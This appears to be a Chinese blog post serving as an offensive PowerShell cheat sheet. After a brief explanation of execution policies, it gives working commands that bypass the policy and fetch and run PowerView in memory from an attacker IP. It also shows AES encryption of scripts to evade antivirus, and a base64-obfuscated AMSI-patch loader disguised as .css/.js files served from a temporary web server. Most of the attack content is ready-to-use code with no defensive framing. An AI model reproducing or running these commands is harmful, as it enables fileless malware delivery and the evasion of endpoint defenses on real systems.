PowerShell执行
PowerShell执行

PowerShell执行

PowerShell执行策略

PowerShell 执行策略是为提高脚本安全性而设定的一种策略。它可以控制脚本如何在系统中运行。PowerShell 提供了多种执行策略,包括:

  1. Restricted – 默认的执行策略,不允许脚本运行。
  2. RemoteSigned – 允许本地脚本运行,远程脚本必须被签名。
  3. Unrestricted – 允许所有脚本运行,但是在运行下载的脚本前会有警告提示。
  4. AllSigned – 所有脚本都必须被信任的发布者签名。
  5. Bypass – 忽略执行策略,允许所有脚本运行。

查看当前执行策略

你可以使用 Get-ExecutionPolicy cmdlet 查看当前的执行策略:

Get-ExecutionPolicy

设置执行策略

使用 Set-ExecutionPolicy cmdlet 可以设置执行策略。例如,使用以下命令将执行策略设置为 RemoteSigned:(执行该命令需要管理员权限)

Set-ExecutionPolicy RemoteSigned

绕过执行策略

在启动PowerShell时可以设定执行策略而且不需要管理员权限

Powershell -exec bypass
Powershell -exec bypass -c "<commend>"

PowerShell无文件执行

// 利用Net.WebClient发起请求脚本并执行
iex (New-Object Net.WebClient).DownloadString('http://10.10.10.128:8888/Powerview.ps1')

// PSv3及以上:

iex (iwr 'http://10.10.10.128:8888/Powerview.ps1')

// MSXML2发起HTTP请求脚本并执行

$h=New-object -ComObject

Msxml2.XMLHTTP;$h.Open('GET','http://10.10.10.128:8888/Powerview.ps1',$false);$h.send();iex $h.responseText

// NET.WebRequest发起HTTP请求脚本并执行

$wr=[System.NET.WebRequest]::Create('http://10.10.10.128:8888/Powerview.ps1')

$r=$wr.GetResponse()

iex ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Bypass AMSI

AES-Encode加密脚本+patch AMSI

// 去除注释
sed '/<#/,/#>/d’ PowerView.ps1 > new_pv.ps1

cat new_pv.ps1 |grep -Ev '$^' |grep -v '^#' > new_pv2.ps1

// AES加密免杀

. .\AES-Encoder.ps1

Invoke-AES-Encoder -InFile ..\new_pv2.ps1 -OutFile Powerview_en.ps1

// 无文件执行加密后的脚本

// 利用Net.WebClient发起请求脚本并执行

iex (New-Object Net.WebClient).DownloadString('http://10.10.10.128:8888/Powerview_en.ps1')

GitHub – Chainski/AES-Encoder: PowerShell Obfuscator. A PowerShell script anti-virus evasion tool

Fileless + Patch AMSI

// File1.css:PatchFile用于Patch AMSI
([TeXt.EnCoDiNg]::uTf8.gEtstRInG([Convert]::FromBase64String("JFByb2dyZXNzUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJztbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyO2lleCAoaXdyICJodHRwczovL2dpdGh1Yi5jb20vQ2hhaW5za2kvQUVTLUVuY29kZXIvcmF3L21haW4vYW1zaV9wYXRjaC5wczEiIC11c2ViKQ==")))|i`e`x

// File2.css:PowerShell脚本内容

// File3.js:下载并执行File1和File2

iex (New-Object Net.WebClient).DownloadString('http://webserver/File1.css')

iex (New-Object Net.WebClient).DownloadString('http://webserver/File2.css')

// 用python开启临时HTTP服务

sudo python -m http.server -p 80

// 也可以用PHP开启临时HTTP服务

sudo php -S 0:80

// 加载并执行脚本

iex (New-Object Net.WebClient).DownloadString('http://webserver/File3.js')

patch AMIS的方法相关文章,当加密脚本中的Patch语句不能使用时可以替换其他Patch方法

GitHub – S3cur3Th1sSh1t/Amsi-Bypass-Powershell: This repo contains some Amsi Bypass methods i found on different Blog Posts.

GitHubInstall GitHub Files

Windows – AMSI Bypass – Internal All The Things

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注